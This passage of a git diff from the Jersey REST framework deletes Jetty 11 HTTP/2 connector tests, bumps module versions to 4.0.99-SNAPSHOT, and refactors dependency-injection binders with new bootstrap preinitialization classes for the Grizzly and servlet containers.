-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testTimeoutInRequest() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        final Response response = target("test")
-                .property(ClientProperties.READ_TIMEOUT, 100L)
-                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                .path("stream")
-                .queryParam("count", count)
-                .queryParam("pauseMillis", pauseMillis)
-                .request().get();
-
-        assertTrue(response.readEntity(String.class).contains("end"));
-    }
-
-    @Test
-    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                    .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
-                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                    .path("stream")
-                    .queryParam("count", count)
-                    .queryParam("pauseMillis", pauseMillis)
-                    .request().get();
-
-            fail("This operation should trigger total timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
-
-        int start = 150;
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                    .property(ClientProperties.READ_TIMEOUT, 100L)
-                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                    .path("stream")
-                    .queryParam("start", start)
-                    .queryParam("count", count)
-                    .queryParam("pauseMillis", pauseMillis)
-                    .request().get();
-            fail("This operation should trigger idle timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
deleted file mode 100644
index 4bf0bda..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
+++ /dev/null
@@ -1,228 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.process.Inflector;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.model.Resource;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Request;
-import jakarta.ws.rs.core.Response;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.List;
-import java.util.Map;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-public class TraceSupportTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
-
-    /**
-     * Programmatic tracing root resource path.
-     */
-    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
-
-    /**
-     * Annotated class-based tracing root resource path.
-     */
-    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
-
-    @HttpMethod(TRACE.NAME)
-    @Target(ElementType.METHOD)
-    @Retention(RetentionPolicy.RUNTIME)
-    public @interface TRACE {
-        public static final String NAME = "TRACE";
-    }
-
-    @Path(ROOT_PATH_ANNOTATED)
-    public static class TracingResource {
-
-        @TRACE
-        @Produces("text/plain")
-        public String trace(Request request) {
-            return stringify((ContainerRequest) request);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TracingResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
-        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
-
-            @Override
-            public Response apply(ContainerRequestContext request) {
-                if (request == null) {
-                    return Response.noContent().build();
-                } else {
-                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
-                }
-            }
-        });
-
-        return config.registerResources(resourceBuilder.build());
-
-    }
-
-    private String[] expectedFragmentsProgrammatic = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
-    };
-    private String[] expectedFragmentsAnnotated = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
-    };
-
-    private WebTarget prepareTarget(String path) {
-        final WebTarget target = target();
-        target.register(LoggingFeature.class);
-        return target.path(path);
-    }
-
-    @Test
-    public void testProgrammaticApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsProgrammatic) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testAnnotatedApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsAnnotated) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testTraceWithEntity() throws Exception {
-        _testTraceWithEntity(false, false);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntity() throws Exception {
-        _testTraceWithEntity(true, false);
-    }
-
-    @Test
-    public void testTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(false, true);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(true, true);
-    }
-
-    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
-        try {
-            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
-            target = target.path(ROOT_PATH_ANNOTATED);
-
-            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
-
-            Response response;
-            if (!isAsync) {
-                response = target.request().method(TRACE.NAME, entity);
-            } else {
-                response = target.request().async().method(TRACE.NAME, entity).get();
-            }
-
-            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
-        } catch (Exception e) {
-            // OK
-        }
-    }
-
-    private Client getJettyClient() {
-        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
-    }
-
-
-    public static String stringify(ContainerRequest request) {
-        StringBuilder buffer = new StringBuilder();
-
-        printRequestLine(buffer, request);
-        printPrefixedHeaders(buffer, request.getHeaders());
-
-        if (request.hasEntity()) {
-            buffer.append(request.readEntity(String.class)).append("\n");
-        }
-
-        return buffer.toString();
-    }
-
-    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
-        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
-    }
-
-    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
-        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
-            List<String> val = e.getValue();
-            String header = e.getKey();
-
-            if (val.size() == 1) {
-                buffer.append(header).append(": ").append(val.get(0)).append("\n");
-            } else {
-                StringBuilder sb = new StringBuilder();
-                boolean add = false;
-                for (String s : val) {
-                    if (add) {
-                        sb.append(',');
-                    }
-                    add = true;
-                    sb.append(s);
-                }
-                buffer.append(header).append(": ").append(sb.toString()).append("\n");
-            }
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
deleted file mode 100644
index 29efcba..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.client.ClientConfig;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-
-public class UnderlyingHttpClientAccessTest {
-
-    /**
-     * Verifier of JERSEY-2424 fix.
-     */
-    @Test
-    public void testHttpClientInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
-        final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getHttpClient method above.
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
-
-        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
-        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
-        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-
-    @Test
-    public void testGetProvidedClientInstance() {
-        final HttpClient httpClient = new HttpClient();
-        final ClientConfig clientConfig = new ClientConfig()
-                .connectorProvider(new JettyHttp2ConnectorProvider())
-                .register(new JettyHttp2ClientSupplier(httpClient));
-        final Client client = ClientBuilder.newClient(clientConfig);
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
-
-        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
-                httpClient, is(hcOnTarget));
-    }
-}
\ No newline at end of file
diff --git a/connectors/jnh-connector/pom.xml b/connectors/jnh-connector/pom.xml
index 3b1cd60..e4319f5 100644
--- a/connectors/jnh-connector/pom.xml
+++ b/connectors/jnh-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.connectors</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/connectors/netty-connector/pom.xml b/connectors/netty-connector/pom.xml
index e540f9c..9b33079 100644
--- a/connectors/netty-connector/pom.xml
+++ b/connectors/netty-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-netty-connector</artifactId>
diff --git a/connectors/pom.xml b/connectors/pom.xml
index 89aedd2..975c614 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.connectors</groupId>
@@ -34,14 +34,12 @@
     <description>Jersey client connection providers umbrella project module</description>
 
     <modules>
-        <module>apache-connector</module>
         <module>apache5-connector</module>
         <module>grizzly-connector</module>
         <module>helidon-connector</module>
         <module>jdk-connector</module>
         <module>jetty-connector</module>
         <module>jetty-http2-connector</module>
-        <module>jetty11-connector</module>
         <module>jnh-connector</module>
         <module>netty-connector</module>
     </modules>
diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml
index 5873489..69b559e 100644
--- a/containers/glassfish/jersey-gf-ejb/pom.xml
+++ b/containers/glassfish/jersey-gf-ejb/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers.glassfish</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-gf-ejb</artifactId>
diff --git a/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java b/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java
index 6e7ffbd..550ee26 100644
--- a/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java
+++ b/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -50,11 +50,10 @@
 import javax.naming.InitialContext;
 import javax.naming.NamingException;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.server.ApplicationHandler;
 import org.glassfish.jersey.server.model.Invocable;
 import org.glassfish.jersey.server.spi.ComponentProvider;
@@ -152,7 +151,7 @@
     public void initialize(final InjectionManager injectionManager) {
         this.injectionManager = injectionManager;
 
-        InstanceBinding<EjbComponentProvider> descriptor = Bindings.service(EjbComponentProvider.this)
+        Binding descriptor = Bindings.service(EjbComponentProvider.this)
                 .to(ResourceMethodInvocationHandlerProvider.class);
         this.injectionManager.register(descriptor);
     }
@@ -304,7 +303,7 @@
     }
 
     private void registerEjbExceptionMapper() {
-        injectionManager.register(new AbstractBinder() {
+        injectionManager.register(new InternalBinder() {
             @Override
             protected void configure() {
                 bind(EjbExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class);
diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml
index 52a5591..d90f166 100644
--- a/containers/glassfish/pom.xml
+++ b/containers/glassfish/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.containers.glassfish</groupId>
diff --git a/containers/grizzly2-http/pom.xml b/containers/grizzly2-http/pom.xml
index 999d371..9bfdaac 100644
--- a/containers/grizzly2-http/pom.xml
+++ b/containers/grizzly2-http/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-grizzly2-http</artifactId>
@@ -132,6 +132,7 @@
                     <instructions>
                         <Import-Package>
                             org.glassfish.grizzly.*;version="[3.0,5.0)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
@@ -166,30 +167,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>jdk11</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <pluginManagement>
-                    <plugins>
-                        <plugin>
-                            <artifactId>maven-compiler-plugin</artifactId>
-                            <executions>
-                                <execution>
-                                    <id>default-testCompile</id>
-                                    <configuration>
-                                        <skip>true</skip>
-                                    </configuration>
-                                </execution>
-                            </executions>
-                        </plugin>
-                    </plugins>
-                </pluginManagement>
-            </build>
-        </profile>
-    </profiles>
 </project>
\ No newline at end of file
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyBootstrapPreinitialization.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyBootstrapPreinitialization.java
new file mode 100644
index 0000000..e521c8b
--- /dev/null
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyBootstrapPreinitialization.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+
+public final class GrizzlyBootstrapPreinitialization implements BootstrapPreinitialization {
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        injectionManager.register(new GrizzlyHttpContainer.GrizzlyBinder());
+    }
+}
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
index 33d3770..f86e909 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,7 +37,8 @@
 import jakarta.inject.Provider;
 
 import org.glassfish.jersey.grizzly2.httpserver.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -118,19 +119,23 @@
      * the injection of Grizzly request instance into singleton JAX-RS and Jersey providers is only supported via
      * {@link jakarta.inject.Provider injection provider}.
      */
-    static class GrizzlyBinder extends AbstractBinder {
+    static class GrizzlyBinder extends InternalBinder {
 
         @Override
         protected void configure() {
             bindFactory(GrizzlyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
+                    .proxy(false).in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_REQUEST_REFERENCING_FACTORY.id());
             bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_REQUEST.id());
 
             bindFactory(GrizzlyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_RESPONSE_REFERENCING_FACTORY.id());
             bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_RESPONSE.id());
         }
     }
 
diff --git a/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..a5be574
--- /dev/null
+++ b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.grizzly2.httpserver.GrizzlyBootstrapPreinitialization
\ No newline at end of file
diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml
index cdaf24b..1f9232b 100644
--- a/containers/grizzly2-servlet/pom.xml
+++ b/containers/grizzly2-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-grizzly2-servlet</artifactId>
@@ -70,8 +70,9 @@
                 <configuration>
                     <instructions>
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             org.glassfish.grizzly.*;version="[3.0,5.0)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/containers/jdk-http/pom.xml b/containers/jdk-http/pom.xml
index 5a4dd85..26c6214 100644
--- a/containers/jdk-http/pom.xml
+++ b/containers/jdk-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jdk-http</artifactId>
diff --git a/containers/jersey-servlet-core/pom.xml b/containers/jersey-servlet-core/pom.xml
index 3a34557..f283e96 100644
--- a/containers/jersey-servlet-core/pom.xml
+++ b/containers/jersey-servlet-core/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-servlet-core</artifactId>
@@ -42,6 +42,8 @@
         <dependency>
             <groupId>jakarta.persistence</groupId>
             <artifactId>jakarta.persistence-api</artifactId>
+            <scope>provided</scope>
+            <optional>true</optional>
         </dependency>
         <dependency>
             <groupId>jakarta.inject</groupId>
@@ -71,8 +73,9 @@
                         <!-- Note: When you're changing these properties change them also in bundles/jax-rs-ri/bundle/pom.xml. -->
                         <Import-Package>
                             jakarta.persistence.*;resolution:=optional,
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <Export-Package>org.glassfish.jersey.servlet.*</Export-Package>
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
new file mode 100644
index 0000000..4f030ce
--- /dev/null
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.servlet;
+
+import jakarta.inject.Singleton;
+import jakarta.servlet.FilterConfig;
+import jakarta.servlet.ServletConfig;
+import jakarta.servlet.ServletContext;
+import jakarta.ws.rs.RuntimeType;
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.servlet.internal.PersistenceUnitBinder;
+
+import java.lang.reflect.Proxy;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.List;
+
+public class ServletBootstrapPreinitialization implements BootstrapPreinitialization {
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        if (RuntimeType.SERVER == runtimeType) {
+            injectionManager.register(
+                    new WebComponent.WebComponentBinder(Collections.emptyMap(), new BootstrapWebConfig(), false));
+            injectionManager.register(new InternalBinder() {
+                @Override
+                protected void configure() {
+                    bindFactory(() -> (FilterConfig) null).to(FilterConfig.class).in(Singleton.class)
+                            .id(InjectionIds.SERVLET_FILTER_CONFIG.id());
+                }
+            });
+        }
+    }
+
+    private static class BootstrapWebConfig implements WebConfig {
+
+        @Override
+        public ConfigType getConfigType() {
+            return ConfigType.ServletConfig;
+        }
+
+        @Override
+        public ServletConfig getServletConfig() {
+            @SuppressWarnings("removal")
+            ClassLoader cl = java.security.AccessController.doPrivileged(ReflectionHelper.getClassLoaderPA(ServletContext.class));
+            return (ServletConfig) Proxy.newProxyInstance(cl, new Class[]{ServletConfig.class}, (proxy, method, args) -> {
+                switch (method.getName()) {
+                    case "getInitParameterNames":
+                        return BootstrapWebConfig.this.getInitParameterNames();
+                }
+                return null;
+            });
+        }
+
+        @Override
+        public FilterConfig getFilterConfig() {
+            return null;
+        }
+
+        @Override
+        public String getName() {
+            return null;
+        }
+
+        @Override
+        public String getInitParameter(String name) {
+            return null;
+        }
+
+        @Override
+        public Enumeration getInitParameterNames() {
+            return Collections.enumeration(WebComponent.isJPA()
